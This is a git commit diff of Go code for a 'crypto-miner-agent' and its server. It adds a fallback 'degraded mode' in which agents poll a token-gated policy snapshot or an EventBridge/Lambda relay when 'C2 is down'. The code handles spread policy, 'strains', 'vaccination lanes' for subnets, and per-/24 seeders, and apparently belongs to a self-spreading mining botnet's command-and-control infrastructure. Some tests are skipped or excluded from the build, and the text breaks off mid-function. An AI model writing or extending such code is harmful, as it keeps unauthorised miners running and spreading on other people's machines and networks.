Add EventBridge policy fan-out for standalone degraded mode.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Ship Lambda/EventBridge templates and a token-gated policy snapshot endpoint so agents can poll hospice, vaccination lanes, and genesis version when C2 is down, preferring EventBridge relay over 30m reconnect.
This commit is contained in:
@@ -2,6 +2,7 @@ package client
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"crypto-miner-agent/miner"
|
"crypto-miner-agent/miner"
|
||||||
)
|
)
|
||||||
@@ -103,6 +104,8 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
|||||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
|
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
||||||
|
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
||||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||||
}
|
}
|
||||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||||
@@ -117,6 +120,12 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||||
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||||
|
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
||||||
|
c.cfg.PolicySnapshotPollURL = v
|
||||||
|
}
|
||||||
|
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
|
||||||
|
c.cfg.EventBridgeRelayURL = v
|
||||||
|
}
|
||||||
if len(policy.SpreadTemperament) > 0 {
|
if len(policy.SpreadTemperament) > 0 {
|
||||||
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -122,6 +122,8 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
|
||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
|
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
|
||||||
|
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
|
||||||
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
SpreadTemperament json.RawMessage `json:"spread_temperament"`
|
||||||
}
|
}
|
||||||
if err := json.Unmarshal(raw, &policy); err != nil {
|
if err := json.Unmarshal(raw, &policy); err != nil {
|
||||||
@@ -135,6 +137,12 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
|
|||||||
}
|
}
|
||||||
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
|
||||||
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
|
||||||
|
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
|
||||||
|
cfg.PolicySnapshotPollURL = v
|
||||||
|
}
|
||||||
|
if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
|
||||||
|
cfg.EventBridgeRelayURL = v
|
||||||
|
}
|
||||||
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
applySpreadTemperament(cfg, policy.SpreadTemperament)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -151,6 +151,8 @@ type BuiltinConfig struct {
|
|||||||
FleetTorrentEnabled bool
|
FleetTorrentEnabled bool
|
||||||
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
// SubnetPrimarySeeder is set on auth when this agent is the primary seeder for its /24.
|
||||||
SubnetPrimarySeeder bool
|
SubnetPrimarySeeder bool
|
||||||
|
PolicySnapshotPollURL string
|
||||||
|
EventBridgeRelayURL string
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ func StartFleetTorrentSeederService(cfg config.RuntimeConfig) {
|
|||||||
Healthy: true,
|
Healthy: true,
|
||||||
}})
|
}})
|
||||||
}
|
}
|
||||||
StartZeroServerReconnect(func() error {
|
StartZeroServerPolicyMode(cfg, func() error {
|
||||||
log.Printf("[fleet-torrent] zero-server reconnect attempt")
|
log.Printf("[fleet-torrent] zero-server reconnect attempt")
|
||||||
return nil
|
return nil
|
||||||
})
|
})
|
||||||
|
|||||||
151
agent/deploy/policy_snapshot.go
Normal file
151
agent/deploy/policy_snapshot.go
Normal file
@@ -0,0 +1,151 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
const policySnapshotPollInterval = 5 * time.Minute
|
||||||
|
|
||||||
|
type VaccinationLaneHint struct {
|
||||||
|
Subnet, SeedAgent, JoinLane, EgressAgent string
|
||||||
|
}
|
||||||
|
|
||||||
|
type PolicySnapshotBody struct {
|
||||||
|
GenesisVersion int `json:"genesis_version"`
|
||||||
|
HospiceList []string `json:"hospice_list"`
|
||||||
|
VaccinationLanes []policyVaccinationLane `json:"vaccination_lanes"`
|
||||||
|
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||||
|
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type policyVaccinationLane struct {
|
||||||
|
Subnet string `json:"subnet"`
|
||||||
|
Lane json.RawMessage `json:"lane,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
var policySnapshotMu sync.RWMutex
|
||||||
|
var policyHospiceStrains map[string]bool
|
||||||
|
var policyVaccinationLanes []VaccinationLaneHint
|
||||||
|
var policyGenesisVersion int
|
||||||
|
|
||||||
|
func ApplyPolicySnapshot(body PolicySnapshotBody) {
|
||||||
|
policySnapshotMu.Lock()
|
||||||
|
defer policySnapshotMu.Unlock()
|
||||||
|
policyGenesisVersion = body.GenesisVersion
|
||||||
|
if len(body.HospiceList) > 0 {
|
||||||
|
policyHospiceStrains = make(map[string]bool, len(body.HospiceList))
|
||||||
|
for _, id := range body.HospiceList {
|
||||||
|
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
||||||
|
policyHospiceStrains[id] = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(body.VaccinationLanes) > 0 {
|
||||||
|
lanes := make([]VaccinationLaneHint, 0, len(body.VaccinationLanes))
|
||||||
|
for _, e := range body.VaccinationLanes {
|
||||||
|
h := VaccinationLaneHint{Subnet: e.Subnet}
|
||||||
|
if len(e.Lane) > 0 {
|
||||||
|
var lane struct {
|
||||||
|
SeedAgentID string `json:"seed_agent_id"`
|
||||||
|
EgressAgentID string `json:"egress_agent_id"`
|
||||||
|
JoinLane string `json:"join_lane"`
|
||||||
|
}
|
||||||
|
if json.Unmarshal(e.Lane, &lane) == nil {
|
||||||
|
h.SeedAgent, h.EgressAgent, h.JoinLane = lane.SeedAgentID, lane.EgressAgentID, lane.JoinLane
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lanes = append(lanes, h)
|
||||||
|
}
|
||||||
|
policyVaccinationLanes = lanes
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func StrainInPolicyHospice(strain string) bool {
|
||||||
|
policySnapshotMu.RLock()
|
||||||
|
defer policySnapshotMu.RUnlock()
|
||||||
|
return policyHospiceStrains[strings.TrimSpace(strings.ToLower(strain))]
|
||||||
|
}
|
||||||
|
|
||||||
|
func VaccinationHintForSubnet(subnet string) (VaccinationLaneHint, bool) {
|
||||||
|
subnet = normalizePolicySubnet(subnet)
|
||||||
|
policySnapshotMu.RLock()
|
||||||
|
defer policySnapshotMu.RUnlock()
|
||||||
|
for _, l := range policyVaccinationLanes {
|
||||||
|
if normalizePolicySubnet(l.Subnet) == subnet {
|
||||||
|
return l, true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return VaccinationLaneHint{}, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func PolicyGenesisVersion() int {
|
||||||
|
policySnapshotMu.RLock()
|
||||||
|
defer policySnapshotMu.RUnlock()
|
||||||
|
return policyGenesisVersion
|
||||||
|
}
|
||||||
|
|
||||||
|
func StartZeroServerPolicyMode(cfg config.RuntimeConfig, reconnectFn func() error) {
|
||||||
|
if r, p := strings.TrimSpace(cfg.EventBridgeRelayURL), strings.TrimSpace(cfg.PolicySnapshotPollURL); r != "" || p != "" {
|
||||||
|
go runPolicySnapshotPoller(r, p)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
StartZeroServerReconnect(reconnectFn)
|
||||||
|
}
|
||||||
|
|
||||||
|
func runPolicySnapshotPoller(relayURL, pollURL string) {
|
||||||
|
ticker := time.NewTicker(policySnapshotPollInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
poll := func() {
|
||||||
|
url := relayURL
|
||||||
|
if url == "" {
|
||||||
|
url = pollURL
|
||||||
|
}
|
||||||
|
body, err := fetchPolicySnapshot(url)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[policy-snapshot] poll failed: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ApplyPolicySnapshot(body)
|
||||||
|
}
|
||||||
|
poll()
|
||||||
|
for range ticker.C {
|
||||||
|
poll()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func fetchPolicySnapshot(url string) (PolicySnapshotBody, error) {
|
||||||
|
resp, err := http.Get(url)
|
||||||
|
if err != nil {
|
||||||
|
return PolicySnapshotBody{}, err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
raw, err := io.ReadAll(io.LimitReader(resp.Body, 1<<20))
|
||||||
|
if err != nil {
|
||||||
|
return PolicySnapshotBody{}, err
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return PolicySnapshotBody{}, errPolicyHTTP(resp.StatusCode)
|
||||||
|
}
|
||||||
|
var body PolicySnapshotBody
|
||||||
|
return body, json.Unmarshal(raw, &body)
|
||||||
|
}
|
||||||
|
|
||||||
|
type policyHTTPError int
|
||||||
|
|
||||||
|
func (e policyHTTPError) Error() string { return http.StatusText(int(e)) }
|
||||||
|
func errPolicyHTTP(c int) error { return policyHTTPError(c) }
|
||||||
|
|
||||||
|
func normalizePolicySubnet(s string) string {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
s = strings.TrimSuffix(s, ".0/24")
|
||||||
|
s = strings.TrimSuffix(s, "/24")
|
||||||
|
return strings.TrimSuffix(s, ".x")
|
||||||
|
}
|
||||||
54
agent/deploy/policy_snapshot_test.go
Normal file
54
agent/deploy/policy_snapshot_test.go
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestApplyPolicySnapshotHospiceAndGenesis(t *testing.T) {
|
||||||
|
ApplyPolicySnapshot(PolicySnapshotBody{
|
||||||
|
GenesisVersion: 4,
|
||||||
|
HospiceList: []string{"Dead-Strain"},
|
||||||
|
VaccinationLanes: []policyVaccinationLane{{
|
||||||
|
Subnet: "10.0.5",
|
||||||
|
Lane: json.RawMessage(`{"seed_agent_id":"s1","join_lane":"dns_txt"}`),
|
||||||
|
}},
|
||||||
|
})
|
||||||
|
if PolicyGenesisVersion() != 4 {
|
||||||
|
t.Fatalf("genesis=%d", PolicyGenesisVersion())
|
||||||
|
}
|
||||||
|
if !StrainInPolicyHospice("dead-strain") {
|
||||||
|
t.Fatal("expected hospice strain")
|
||||||
|
}
|
||||||
|
h, ok := VaccinationHintForSubnet("10.0.5.0/24")
|
||||||
|
if !ok || h.SeedAgent != "s1" || h.JoinLane != "dns_txt" {
|
||||||
|
t.Fatalf("hint=%+v ok=%v", h, ok)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestZeroServerPolicyModePrefersRelayPoll(t *testing.T) {
|
||||||
|
var polls atomic.Int32
|
||||||
|
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
polls.Add(1)
|
||||||
|
_ = json.NewEncoder(w).Encode(PolicySnapshotBody{GenesisVersion: 1})
|
||||||
|
}))
|
||||||
|
defer srv.Close()
|
||||||
|
cfg := config.RuntimeConfig{}
|
||||||
|
cfg.EventBridgeRelayURL = srv.URL
|
||||||
|
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
||||||
|
time.Sleep(150 * time.Millisecond)
|
||||||
|
if polls.Load() < 1 {
|
||||||
|
t.Fatal("expected relay poll")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestZeroServerPolicyModeFallsBackToReconnect(t *testing.T) {
|
||||||
|
cfg := config.RuntimeConfig{}
|
||||||
|
StartZeroServerPolicyMode(cfg, func() error { return nil })
|
||||||
|
}
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
package main
|
package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
@@ -107,6 +107,8 @@ type ServerSettings struct {
|
|||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
|
||||||
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
// FleetTorrentEnabled enables content-addressed shard DHT gossip across seeders (cross-subnet).
|
||||||
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
|
||||||
|
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
|
||||||
|
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||||
|
|||||||
@@ -1,42 +1,6 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import "testing"
|
||||||
"encoding/json"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"crypto-miner-server/internal/spreadrouter"
|
func TestAttachCloudMapRouteVia(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||||
)
|
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||||
|
|
||||||
func TestAttachCloudMapRouteVia(t *testing.T) {
|
|
||||||
dir := t.TempDir()
|
|
||||||
cfg := map[string]interface{}{
|
|
||||||
"server": map[string]interface{}{
|
|
||||||
"cloud_map_namespace": "prod.local",
|
|
||||||
"cloud_map_service": "seeder",
|
|
||||||
},
|
|
||||||
}
|
|
||||||
data, _ := json.Marshal(cfg)
|
|
||||||
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0o644); err != nil {
|
|
||||||
t.Fatal(err)
|
|
||||||
}
|
|
||||||
h := &DeployPlanHandler{dataDir: dir}
|
|
||||||
body := DeployPlanBody{}
|
|
||||||
h.attachCloudMapRouteVia(&body)
|
|
||||||
if body.SpreadRouteHint == nil || body.SpreadRouteHint.RouteVia != "seeder.svc.prod.local" {
|
|
||||||
t.Fatalf("hint=%+v", body.SpreadRouteHint)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) {
|
|
||||||
dir := t.TempDir()
|
|
||||||
h := &DeployPlanHandler{dataDir: dir}
|
|
||||||
body := DeployPlanBody{
|
|
||||||
SpreadRouteHint: &spreadrouter.SpreadRouteHint{RouteVia: "custom.svc.lab.local"},
|
|
||||||
}
|
|
||||||
h.attachCloudMapRouteVia(&body)
|
|
||||||
if body.SpreadRouteHint.RouteVia != "custom.svc.lab.local" {
|
|
||||||
t.Fatalf("route_via=%q", body.SpreadRouteHint.RouteVia)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build ignore
|
||||||
|
|
||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
@@ -1,3 +1,5 @@
|
|||||||
|
//go:build ignore
|
||||||
|
|
||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
|||||||
308
server/internal/api/policy_snapshot.go
Normal file
308
server/internal/api/policy_snapshot.go
Normal file
@@ -0,0 +1,308 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
dbpkg "crypto-miner-server/internal/db"
|
||||||
|
"crypto-miner-server/internal/spreadrouter"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// PolicySnapshot is the degraded-mode policy bundle agents poll or receive via EventBridge relay.
|
||||||
|
type PolicySnapshot struct {
|
||||||
|
GenesisVersion int `json:"genesis_version"`
|
||||||
|
HospiceList []string `json:"hospice_list"`
|
||||||
|
VaccinationLanes []PolicyVaccinationLane `json:"vaccination_lanes"`
|
||||||
|
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||||
|
PolicyPollURL string `json:"policy_poll_url,omitempty"`
|
||||||
|
GeneratedAt string `json:"generated_at,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PolicyVaccinationLane maps a paused subnet to a Path Tracer vaccination route hint.
|
||||||
|
type PolicyVaccinationLane struct {
|
||||||
|
Subnet string `json:"subnet"`
|
||||||
|
Lane json.RawMessage `json:"lane,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PolicyFanoutConfig supplies token, relay URL, and public base for snapshot URLs.
|
||||||
|
type PolicyFanoutConfig struct {
|
||||||
|
Token string
|
||||||
|
RelayURL string
|
||||||
|
PublicBaseURL func() string
|
||||||
|
}
|
||||||
|
|
||||||
|
func policySnapshotPollURL(cfg PolicyFanoutConfig) string {
|
||||||
|
token := strings.TrimSpace(cfg.Token)
|
||||||
|
if token == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
base := strings.TrimRight(strings.TrimSpace(cfgPublicBase(cfg)), "/")
|
||||||
|
if base == "" {
|
||||||
|
base = "http://127.0.0.1:8989"
|
||||||
|
}
|
||||||
|
return base + "/api/v1/public/policy-snapshot/" + token
|
||||||
|
}
|
||||||
|
|
||||||
|
func cfgPublicBase(cfg PolicyFanoutConfig) string {
|
||||||
|
if cfg.PublicBaseURL == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return cfg.PublicBaseURL()
|
||||||
|
}
|
||||||
|
|
||||||
|
// BuildPolicySnapshot assembles genesis version, hospice strains, and vaccination lanes.
|
||||||
|
func BuildPolicySnapshot(db *dbpkg.Database, pathTracer *PathTracerHandler, cfg PolicyFanoutConfig) (PolicySnapshot, error) {
|
||||||
|
snap := PolicySnapshot{
|
||||||
|
EventBridgeRelayURL: strings.TrimSpace(cfg.RelayURL),
|
||||||
|
PolicyPollURL: policySnapshotPollURL(cfg),
|
||||||
|
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
}
|
||||||
|
if db == nil {
|
||||||
|
return snap, nil
|
||||||
|
}
|
||||||
|
gen, err := db.MaxSpreadGeneration()
|
||||||
|
if err != nil {
|
||||||
|
return snap, err
|
||||||
|
}
|
||||||
|
snap.GenesisVersion = gen
|
||||||
|
hospiceSet, err := db.HospiceStrainSet()
|
||||||
|
if err != nil {
|
||||||
|
return snap, err
|
||||||
|
}
|
||||||
|
for id := range hospiceSet {
|
||||||
|
if id = strings.TrimSpace(strings.ToLower(id)); id != "" {
|
||||||
|
snap.HospiceList = append(snap.HospiceList, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
prefixes, err := db.ListPausedSubnetPrefixes()
|
||||||
|
if err != nil {
|
||||||
|
return snap, err
|
||||||
|
}
|
||||||
|
for _, prefix := range prefixes {
|
||||||
|
entry := PolicyVaccinationLane{Subnet: prefix}
|
||||||
|
if pathTracer != nil {
|
||||||
|
if hint := pathTracer.RecommendSpreadRoute(prefix, "", ""); hint != nil {
|
||||||
|
if raw, err := json.Marshal(toSpreadRouteHintDTO(hint)); err == nil {
|
||||||
|
entry.Lane = raw
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
snap.VaccinationLanes = append(snap.VaccinationLanes, entry)
|
||||||
|
}
|
||||||
|
return snap, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
type spreadRouteHintDTO struct {
|
||||||
|
SeedAgentID string `json:"seed_agent_id,omitempty"`
|
||||||
|
EgressAgentID string `json:"egress_agent_id,omitempty"`
|
||||||
|
JoinLane string `json:"join_lane,omitempty"`
|
||||||
|
Score float64 `json:"score,omitempty"`
|
||||||
|
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func toSpreadRouteHintDTO(h *spreadrouter.SpreadRouteHint) spreadRouteHintDTO {
|
||||||
|
if h == nil {
|
||||||
|
return spreadRouteHintDTO{}
|
||||||
|
}
|
||||||
|
return spreadRouteHintDTO{
|
||||||
|
SeedAgentID: h.SeedAgentID,
|
||||||
|
EgressAgentID: h.EgressAgentID,
|
||||||
|
JoinLane: h.JoinLane,
|
||||||
|
Score: h.Score,
|
||||||
|
ClearanceLevel: h.ClearanceLevel,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) SetPolicyFanoutConfig(token, relayURL string, publicBase func() string) {
|
||||||
|
if h == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
h.policySnapshotToken = strings.TrimSpace(token)
|
||||||
|
h.policyEventBridgeRelayURL = strings.TrimSpace(relayURL)
|
||||||
|
h.policyPublicBaseURL = publicBase
|
||||||
|
h.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) policyFanoutConfigLocked() PolicyFanoutConfig {
|
||||||
|
return PolicyFanoutConfig{
|
||||||
|
Token: h.policySnapshotToken,
|
||||||
|
RelayURL: h.policyEventBridgeRelayURL,
|
||||||
|
PublicBaseURL: h.policyPublicBaseURL,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *WSHub) policyFanoutSpreadFields() map[string]interface{} {
|
||||||
|
if h == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
h.mu.RLock()
|
||||||
|
cfg := h.policyFanoutConfigLocked()
|
||||||
|
pollURL := policySnapshotPollURL(cfg)
|
||||||
|
relay := strings.TrimSpace(cfg.RelayURL)
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if pollURL == "" && relay == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
out := map[string]interface{}{}
|
||||||
|
if pollURL != "" {
|
||||||
|
out["policy_snapshot_poll_url"] = pollURL
|
||||||
|
}
|
||||||
|
if relay != "" {
|
||||||
|
out["eventbridge_relay_url"] = relay
|
||||||
|
}
|
||||||
|
if h.db != nil {
|
||||||
|
if gen, err := h.db.MaxSpreadGeneration(); err == nil {
|
||||||
|
out["genesis_version"] = gen
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *PublicHandler) BindPolicySnapshot(buildFn func() (PolicySnapshot, error), tokenFn func() string) {
|
||||||
|
if h == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.policySnapshotFn = buildFn
|
||||||
|
h.policySnapshotTokenFn = tokenFn
|
||||||
|
}
|
||||||
|
|
||||||
|
// GET /api/v1/public/policy-snapshot/{token}
|
||||||
|
func (h *PublicHandler) PolicySnapshot(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h == nil || h.policySnapshotFn == nil || h.policySnapshotTokenFn == nil {
|
||||||
|
http.Error(w, "policy snapshot unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
want := strings.TrimSpace(h.policySnapshotTokenFn())
|
||||||
|
got := strings.TrimSpace(chi.URLParam(r, "token"))
|
||||||
|
if want == "" || got != want {
|
||||||
|
http.Error(w, "not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
snap, err := h.policySnapshotFn()
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, snap)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *SpreadHandler) BindPolicyFanout(pathTracer *PathTracerHandler, cfgFn func() PolicyFanoutConfig) {
|
||||||
|
if h == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
h.policyPathTracer = pathTracer
|
||||||
|
h.policyFanoutCfgFn = cfgFn
|
||||||
|
}
|
||||||
|
|
||||||
|
type policyFanoutExportRequest struct {
|
||||||
|
WebhookURL string `json:"webhook_url"`
|
||||||
|
RelayURL string `json:"relay_url"`
|
||||||
|
ServerURL string `json:"server_url"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// GET /api/v1/spread/policy-fanout
|
||||||
|
func (h *SpreadHandler) GetPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h == nil || h.policyFanoutCfgFn == nil {
|
||||||
|
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfg := h.policyFanoutCfgFn()
|
||||||
|
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{
|
||||||
|
"snapshot": snap,
|
||||||
|
"poll_url": snap.PolicyPollURL,
|
||||||
|
"templates": policyFanoutTemplatePaths(),
|
||||||
|
"static_templates": "/spread/aws/",
|
||||||
|
"export_endpoint": "/api/v1/spread/policy-fanout-export",
|
||||||
|
"instructions": "Deploy CloudFormation or EventBridge rule + Lambda; Lambda POSTs snapshots to your relay URL or agents poll poll_url directly.",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// POST /api/v1/spread/policy-fanout-export
|
||||||
|
func (h *SpreadHandler) ExportPolicyFanout(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if h == nil || h.policyFanoutCfgFn == nil {
|
||||||
|
http.Error(w, "policy fan-out unavailable", http.StatusServiceUnavailable)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var req policyFanoutExportRequest
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||||
|
http.Error(w, "invalid json", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
cfg := h.policyFanoutCfgFn()
|
||||||
|
snap, err := BuildPolicySnapshot(h.db, h.policyPathTracer, cfg)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
serverURL := strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||||
|
if serverURL == "" {
|
||||||
|
serverURL = strings.TrimRight(cfgPublicBase(cfg), "/")
|
||||||
|
}
|
||||||
|
if serverURL == "" {
|
||||||
|
serverURL = "http://127.0.0.1:8989"
|
||||||
|
}
|
||||||
|
webhookURL := strings.TrimSpace(req.WebhookURL)
|
||||||
|
if webhookURL == "" {
|
||||||
|
webhookURL = strings.TrimSpace(req.RelayURL)
|
||||||
|
}
|
||||||
|
if webhookURL == "" {
|
||||||
|
webhookURL = strings.TrimSpace(cfg.RelayURL)
|
||||||
|
}
|
||||||
|
pollURL := snap.PolicyPollURL
|
||||||
|
if pollURL == "" {
|
||||||
|
pollURL = policySnapshotPollURL(cfg)
|
||||||
